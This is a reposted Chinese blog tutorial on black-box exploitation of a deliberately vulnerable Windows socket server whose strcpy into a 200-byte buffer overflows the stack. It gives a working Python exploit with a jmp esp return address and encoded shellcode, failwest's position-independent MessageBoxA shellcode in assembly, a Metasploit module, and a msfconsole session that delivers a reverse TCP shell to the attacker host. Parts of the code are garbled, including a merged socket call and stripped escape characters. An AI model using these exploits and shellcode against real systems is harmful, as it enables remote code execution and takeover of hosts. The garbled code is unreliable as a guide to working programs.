加入收藏 | 设为首页 | 会员中心 | 我要投稿 李大同 (https://www.lidatong.com.cn/)- 科技、建站、经验、云计算、5G、大数据,站长网!
当前位置: 首页 > 大数据 > 正文

简单远程溢出漏洞挖掘--strcpy引发的血案

发布时间:2020-12-14 02:47:31 所属栏目:大数据 来源:网络整理
导读:漏洞程序源自failwest的《0day2》,书中以此程序为例介绍了metasploit下exploit的开发,直接给出了exp,of course对着code白盒很容易发现溢出点所在(当然自己黑盒也很简单)。 此文纯属小生过把黑盒挖掘远程溢出漏洞的瘾,黑盒分析一下release版和debug版漏

漏洞程序源自failwest的《0day2》,书中以此程序为例介绍了metasploit下exploit的开发,直接给出了exp,of course对着code白盒很容易发现溢出点所在(当然自己黑盒也很简单)。

此文纯属小生过把黑盒挖掘远程溢出漏洞的瘾,黑盒分析一下release版和debug版漏洞的挖掘及利用(最后贴出程序源码供参考)。


======================================邪恶的分割线==============================================

1. 漏洞程序

功能:服务端程序,本地监听7777号端口,并打印接收的数据。



2. 环境介绍

靶机系统:XP sp3

靶机IP ? ?:10.10.10.128


攻击主机系统:backtrack 5

攻击主机IP ? ?:10.10.10.132


3. 黑盒测试(Release版本)

运行release.exe,程序是console版的,界面如下:



写个脚本向服务器发送"dami"

import socket

if "__main__" == __name__ :

    sockClient = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sockClient.connect(('10.10.10.128',7777))
    sockClient.send(b'dami')
    print('send:dami')

    sockClient.close()
    print('connect closed')

靶机程序接收并打印了“dami”:



这次我们向靶机发送超常字符串:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

靶机程序崩溃了:



缓冲区溢出,根据错误提示“0x61616161”指令引用的"0x61616161"内存,可以知道此时EIP已经本覆盖为‘aaaa’,∴是可以执行任意命令的。


4. 定位溢出点

使用od加载这个程序跑起来,通过逆向可以知道程序本地监听7777端口,并打印接收到的数据,本文介绍重点不在逆向所以不完全分析其逆向代码,贴关键代码

0040115B  |.  50            |PUSH EAX                                ; /Flags => 0
0040115C  |.  F3:AB         |REP STOS DWORD PTR ES:[EDI]             ; |
0040115E  |.  8D4C24 38     |LEA ECX,DWORD PTR SS:[ESP+38]           ; |
00401162  |.  68 00020000   |PUSH 200                                ; |BufSize = 200 (512.)
00401167  |.  51            |PUSH ECX                                ; |Buffer
00401168  |.  53            |PUSH EBX                                ; |Socket
00401169  |.  FF15 E4904000 |CALL DWORD PTR DS:[<&WS2_32.#16>]       ; recv
0040116F  |.  8BF0          |MOV ESI,EAX
00401171  |.  85F6          |TEST ESI,ESI
00401173  |.  7D 26         |JGE SHORT release.0040119B
00401175  |.  68 50A04000   |PUSH release.0040A050                   ;  ASCII "reading stream message error!"
0040117A  |.  B9 98CA4000   |MOV ECX,release.0040CA98
0040117F  |.  E8 A3020000   |CALL release.00401427
00401184  |.  68 D0124000   |PUSH release.004012D0
00401189  |.  6A 0A         |PUSH 0A                                 ; /Arg1 = 0000000A
0040118B  |.  8BC8          |MOV ECX,EAX                             ; |
0040118D  |.  E8 4E010000   |CALL release.004012E0                   ; release.004012E0
00401192  |.  8BC8          |MOV ECX,EAX
00401194  |.  E8 17010000   |CALL release.004012B0
00401199  |.  33F6          |XOR ESI,ESI
0040119B  |>  8D5424 34     |LEA EDX,DWORD PTR SS:[ESP+34]
0040119F  |.  52            |PUSH EDX
004011A0  |.  E8 5B000000   |CALL release.00401200

0x00401169处接收数据存于0x200大小的缓冲区中,recv下方判断实际接收数据大小,>=0时调用0x00401200处函数,参数edx为接收的数据。

在0x004011A0处下断点,再次发送数据程序中断:



单步跟入0x00401200处函数:

00401200  /$  81EC C8000000 SUB ESP,0C8
00401206  |.  83C9 FF       OR ECX,FFFFFFFF
00401209  |.  33C0          XOR EAX,EAX
0040120B  |.  8D5424 00     LEA EDX,DWORD PTR SS:[ESP]
0040120F  |.  56            PUSH ESI
00401210  |.  57            PUSH EDI
00401211  |.  8BBC24 D40000>MOV EDI,DWORD PTR SS:[ESP+D4]
00401218  |.  68 00A14000   PUSH release.0040A100                              ;  ASCII "**********************"
0040121D  |.  F2:AE         REPNE SCAS BYTE PTR ES:[EDI]
0040121F  |.  F7D1          NOT ECX
00401221  |.  2BF9          SUB EDI,ECX
00401223  |.  8BC1          MOV EAX,ECX
00401225  |.  8BF7          MOV ESI,EDI
00401227  |.  8BFA          MOV EDI,EDX
00401229  |.  C1E9 02       SHR ECX,2
0040122C  |.  F3:A5         REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
0040122E  |.  8BC8          MOV ECX,EAX
00401230  |.  83E1 03       AND ECX,3
00401233  |.  F3:A4         REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00401235  |.  B9 98CA4000   MOV ECX,release.0040CA98
0040123A  |.  E8 E8010000   CALL release.00401427
0040123F  |.  68 D0124000   PUSH release.004012D0
00401244  |.  6A 0A         PUSH 0A                                            ; /Arg1 = 0000000A
00401246  |.  8BC8          MOV ECX,EAX                                        ; |
00401248  |.  E8 93000000   CALL release.004012E0                              ; release.004012E0
0040124D  |.  8BC8          MOV ECX,EAX
0040124F  |.  E8 5C000000   CALL release.004012B0
00401254  |.  68 F4A04000   PUSH release.0040A0F4                              ;  ASCII "received:"
00401259  |.  B9 98CA4000   MOV ECX,release.0040CA98
0040125E  |.  E8 C4010000   CALL release.00401427
00401263  |.  68 D0124000   PUSH release.004012D0
00401268  |.  6A 0A         PUSH 0A                                            ; /Arg1 = 0000000A
0040126A  |.  8BC8          MOV ECX,EAX                                        ; |
0040126C  |.  E8 6F000000   CALL release.004012E0                              ; release.004012E0
00401271  |.  8BC8          MOV ECX,EAX
00401273  |.  E8 38000000   CALL release.004012B0
00401278  |.  8D4C24 08     LEA ECX,DWORD PTR SS:[ESP+8]
0040127C  |.  51            PUSH ECX
0040127D  |.  B9 98CA4000   MOV ECX,release.0040CA98
00401282  |.  E8 A0010000   CALL release.00401427
00401287  |.  68 D0124000   PUSH release.004012D0
0040128C  |.  6A 0A         PUSH 0A                                            ; /Arg1 = 0000000A
0040128E  |.  8BC8          MOV ECX,EAX                                        ; |
00401290  |.  E8 4B000000   CALL release.004012E0                              ; release.004012E0
00401295  |.  8BC8          MOV ECX,EAX
00401297  |.  E8 14000000   CALL release.004012B0
0040129C  |.  5F            POP EDI
0040129D  |.  5E            POP ESI
0040129E  |.  81C4 C8000000 ADD ESP,0C8
004012A4  .  C3            RETN

读反汇编代码,此函数首先开辟了0xc8大小的空间,0x0040121D至0x00401233的指令完成了传入参数复制到开辟的0xc8的栈空间内,产生了溢出,覆盖了函数返回地址。


5. sh3llcode的开发

根据上面的分析可知,客户端发送的数据第201~204字节会覆盖到调用函数的返回地址,这个dword在函数返回时会弹入EIP,开发shellcode的思路:

  1. 可以在发送的前200字节填充需要执行的功能的机器码,空间限制为200字节,201至204字节处填写缓冲区起始地址,即如上例中执行至0x00401206时的esp的值,这样开发出的shellcode局限性较强,我们可以通过调试得到本机此时esp中的值,但换个机器我们所调试得到的地址不一定适用了。
  2. 为保证shellcode的通用性强,我们可以测试不同win系统中ntdll.dll中jmp esp的地址,填入201~204字节处。为什么要选取ntdll中的jmp esp呢?因为在函数返回的时候,栈帧弹出,esp指向的一定是返回地址下面的一个栈空间。而win电脑开机都会加载ntdll库。所以在发送数据的前200字节继续填充字符a,201至204填ntdll中的jmp esp指令的地址,205字节往后可以发挥我们需要执行的功能了。

这里做例子开发一个弹框“dami”的shellcode。要弹框我们就要找到MessageBoxA的地址,MessageBoxA的实现位于user32.dll中,这个库程序基本都会加载,我们还要找到其
加载基址。这里需要用到的技术就是动态调用api,关于这个在我之前的博文《远程代码注入》有详细的讲解: 动态调用API?。得到MessageBoxA的地址后,我们只要4个push
1个call即可完成调用。下面贴出failwest的代码,思路同上面的那篇博文:
/*****************************************************************************
      To be the apostrophe which changed "Impossible" into "I'm possible"!
		
POC code of chapter 3.4 in book "Vulnerability Exploit and Analysis Technique"
 
file name	: shellcode_popup_general.c
author		: failwest  
date		: 2006.10.20
description	: can be run across OS platform and different patch version
				the code used to generate PE file and extract binary code   
Noticed		:  
version		: 1.0
E-mail		: failwest@gmail.com
		
	Only for educational purposes    enjoy the fun from exploiting :)
******************************************************************************/

int main()
{	
	_asm{
			nop
			nop
			
		
			
			nop
			nop
			nop
			CLD					; clear flag DF
			;store hash
			push 0x1e380a6a		;hash of MessageBoxA
			push 0x4fd18963		;hash of ExitProcess
			push 0x0c917432		;hash of LoadLibraryA
			mov esi,esp			; esi = addr of first function hash 
			lea edi,[esi-0xc]	; edi = addr to start writing function 

			

			; make some stack space
			xor ebx,ebx
			mov bh,0x04 			 
			sub esp,ebx 
			


			
			; push a pointer to "user32" onto stack 
			mov bx,0x3233 		; rest of ebx is null 
			push ebx 
			push 0x72657375 
			push esp 
			
			xor edx,edx


		; find base addr of kernel32.dll 
			mov ebx,fs:[edx + 0x30] 	; ebx = address of PEB 
			mov ecx,[ebx + 0x0c] 		; ecx = pointer to loader data 
			mov ecx,[ecx + 0x1c] 		; ecx = first entry in initialisation order list 
			mov ecx,[ecx] 				; ecx = second entry in list (kernel32.dll) 
			mov ebp,[ecx + 0x08] 		; ebp = base address of kernel32.dll 
			
						
		find_lib_functions: 
		
			lodsd 					; load next hash into al and increment esi 
			cmp eax,0x1e380a6a		; hash of MessageBoxA - trigger 
									; LoadLibrary("user32") 
			jne find_functions 
			xchg eax,ebp 			; save current hash 
			call [edi - 0x8] 		; LoadLibraryA 
			xchg eax,ebp 			; restore current hash,and update ebp 
									; with base address of user32.dll 
			
			
		find_functions: 
			pushad 						; preserve registers 
			mov eax,[ebp + 0x3c]		; eax = start of PE header 
			mov ecx,[ebp + eax + 0x78]	; ecx = relative offset of export table 
			add ecx,ebp 				; ecx = absolute addr of export table 
			mov ebx,[ecx + 0x20] 		; ebx = relative offset of names table 
			add ebx,ebp 				; ebx = absolute addr of names table 
			xor edi,edi 				; edi will count through the functions 

		next_function_loop: 
			inc edi 					; increment function counter 
			mov esi,[ebx + edi * 4] 	; esi = relative offset of current function name 
			add esi,ebp 				; esi = absolute addr of current function name 
			cdq 						; dl will hold hash (we know eax is small) 
			
		hash_loop: 
			movsx eax,byte ptr[esi]
			cmp al,ah
			jz compare_hash
			ror edx,7
			add edx,eax
			inc esi
			jmp hash_loop

		compare_hash:	
			cmp edx,[esp + 0x1c] 		; compare to the requested hash (saved on stack from pushad) 
			jnz next_function_loop 
			
		 
			mov ebx,[ecx + 0x24] 		; ebx = relative offset of ordinals table 
			add ebx,ebp 				; ebx = absolute addr of ordinals table 
			mov di,[ebx + 2 * edi] 	; di = ordinal number of matched function 
			mov ebx,[ecx + 0x1c] 		; ebx = relative offset of address table 
			add ebx,ebp 				; ebx = absolute addr of address table 
			add ebp,[ebx + 4 * edi] 	; add to ebp (base addr of module) the 
										; relative offset of matched function 
			xchg eax,ebp 				; move func addr into eax 
			pop edi 					; edi is last onto stack in pushad 
			stosd 						; write function addr to [edi] and increment edi 
			push edi 
			popad					; restore registers 
					 				; loop until we reach end of last hash 
			cmp eax,0x1e380a6a
			jne find_lib_functions 

		function_call:
			xor ebx,ebx
			push ebx			// cut string
			push 0x74736577
			push 0x6C696166		//push failwest
			mov eax,esp			//load address of failwest
			push ebx	
			push eax
			push eax
			push ebx
			call [edi - 0x04] ; //call MessageboxA
			push ebx
			call [edi - 0x08] ; // call ExitProcess
			nop
			nop
			nop
			nop
	}
}

下面我们就要找到ntdll.dll中jmp esp(机器码为FFE4)的地址,下面的代码即可完成搜索:
#include <stdio.h>
#include <windows.h>

void main()
{
	HMODULE hUser32 = 0;
	BOOL    bDone   = FALSE;
	BYTE   *btPtr   = 0;
	int		nPos    = 0;
	int     nAddr   = 0;

	hUser32 = LoadLibrary("ntdll.dll");
	if( !hUser32 )
	{
		printf("Load failed!n");
		exit(0);
	}
	
	btPtr = (BYTE*)hUser32;

	for( ; !bDone; nPos++)
	{
		if(btPtr[nPos]==0xff && btPtr[nPos+1]==0xe4)
		{
			// 0xffe4 is the opcode of jmp esp
			nAddr = (int)btPtr + nPos;
			printf("0x%xn",nAddr);
		}
	}
}




至此,我们需要的东西都已经有了,下面便是组合shellcode,发送数据了,完整exploit如下:
import socket

shellcode = b"
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
x61x61x61x61x61x61x61x61x61x61
xd8xfcx93x7cxFCx68x6Ax0Ax38x1E
x68x63x89xD1x4Fx68x32x74x91x0C
x8BxF4x8Dx7ExF4x33xDBxB7x04x2B
xE3x66xBBx33x32x53x68x75x73x65
x72x54x33xD2x64x8Bx5Ax30x8Bx4B
x0Cx8Bx49x1Cx8Bx09x8Bx69x08xAD
x3Dx6Ax0Ax38x1Ex75x05x95xFFx57
xF8x95x60x8Bx45x3Cx8Bx4Cx05x78
x03xCDx8Bx59x20x03xDDx33xFFx47
x8Bx34xBBx03xF5x99x0FxBEx06x3A
xC4x74x08xC1xCAx07x03xD0x46xEB
xF1x3Bx54x24x1Cx75xE4x8Bx59x24
x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03
xDDx03x2CxBBx95x5FxABx57x61x3D
x6Ax0Ax38x1Ex75xA9x33xDBx53x68
x64x61x6dx69x8BxC4x53x50x50x53
xFFx57xFCx53xFFx57xF8"

if "__main__" == __name__ :

    sockClient = socket.socket(socket.AF_INET,7777))
    sockClient.send(shellcode)

    sockClient.close()
    print('connect closed')

运行成功发送数据后,我们看靶机程序什么情况:)



Success!关于shellcode编码技术这里不在涉及,主要是为反IDS系统的拦截。

6. 在metasploit下开发exploit并getshell

metasploit平台开发exp使用ruby语言,并且有固定的框架格式,所以我们在开发exp时就像填空一样(直接贴exp了,有兴趣自行百度关于metasploit开发)。
#!/usr/bin/env ruby
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
	include Exploit::Remote::Tcp
	def initialize(info={})
		super(update_info(info,'Name'	=>	'dami_test','Platform'	=>	'win','Targets'	=>	[
				['Windows 2000',{'Ret'=>0x77F8948B}],['Windows XP SP2',{'Ret'=>0x7c93fcd8}] #0x7c93fcd8
				],'Payload'	=>	{
				'Space'	=> 500,'BadChars'	=> "x00",'StackAdjustment' => -3500,}
		))
	end

	def exploit
		connect
		attack_buf = 'a'*204 + [target['Ret']].pack('V') + payload.encoded
		sock.put(attack_buf)
		handler
		disconnect
	end
end

保存为test1.rb,存于/opt/metasploit/msf3/modules/exploit/windows/dami/目录下,进入msfconsole(截个v5的主界面):
root@bt:~# msfconsole 

MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        http://metasploit.pro


       =[ metasploit v4.9.2-dev [core:4.9 api:1.0]        ]
+ -- --=[ 1304 exploits - 700 auxiliary - 207 post        ]
+ -- --=[ 335 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

好了,组合我们的 exploit 进行攻击
msf > use exploit/windows/dami/test1 
msf exploit(test1) > set rhost 10.10.10.128
rhost => 10.10.10.128
msf exploit(test1) > set rport 7777
rport => 7777
msf exploit(test1) > set payload windows/shell/reverse_tcp
payload => windows/shell/reverse_tcp
msf exploit(test1) > set lhost 10.10.10.132
lhost => 10.10.10.132
msf exploit(test1) > set target 1
target => 1
msf exploit(test1) > exploit 




成功getshell了,下面就是加用户,开远程,拿下靶机(如何开/查终端,加用户不属于本文介绍范围啦)



7. 关于Debug

实际上我们用如上的测试代码,无论弹框还是getshell都是不成功的,其实分析原因也很简单,即在调用0x00401200处的函数,debug程序在开辟新的栈帧时会多
push  ebp

所以我们的shellcode要再多加4字节x61,这样才能使jmp ?esp的地址准确覆盖到函数返回地址处,同样也是成功溢出:)

8. 漏洞程序源码

差点忘了,贴下漏洞程序源码:
#include <stdio.h>
#include <iostream.h>
#include <winsock2.h>

#pragma comment(lib,"ws2_32.lib")


void msg_display(char *buf);





void main()
{
	int sock,msgsock,lenth,receive_len;
	struct sockaddr_in sock_server,sock_client;
	char buf[0x200];

	WSADATA wsa;
	WSAStartup(MAKEWORD(1,1),&wsa);

	if( (sock=socket(AF_INET,SOCK_STREAM,0)) < 0 )
	{
		cout<<sock<<"socket creating error!"<<endl;
		exit(1);
	}

	sock_server.sin_family = AF_INET;
	sock_server.sin_port   = htons(7777);
	sock_server.sin_addr.s_addr=htonl(INADDR_ANY);
	if(bind(sock,(struct sockaddr*)&sock_server,sizeof(sock_server)))
	{
		cout<<"binging stream socket error!"<<endl;
	}

	cout<<"**************************************"<<endl;
	cout<<"     exploit target server 1.0	   "<<endl;
	cout<<"**************************************"<<endl;

	listen(sock,4);
	lenth = sizeof(struct sockaddr);

	do{
		msgsock = accept(sock,(struct sockaddr*)&sock_client,(int*)&lenth);

		if( msgsock==-1 )
		{
			cout<<"accept error!"<<endl;
			break;
		}
		else
		{
			do{
				memset(buf,sizeof(buf));

				if((receive_len=recv(msgsock,buf,sizeof(buf),0))<0)
				{
					cout<<"reading stream message error!"<<endl;
					receive_len = 0;
				}
				
				msg_display(buf);

			}while(receive_len);

			closesocket(msgsock);
		}
	}while(1);

	WSACleanup();

}





void msg_display(char *buf)
{
	char msg[200];
	strcpy(msg,buf);
	cout<<"**********************"<<endl;
	cout<<"received:"<<endl;
	cout<<msg<<endl;
}

(编辑:李大同)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章
      热点阅读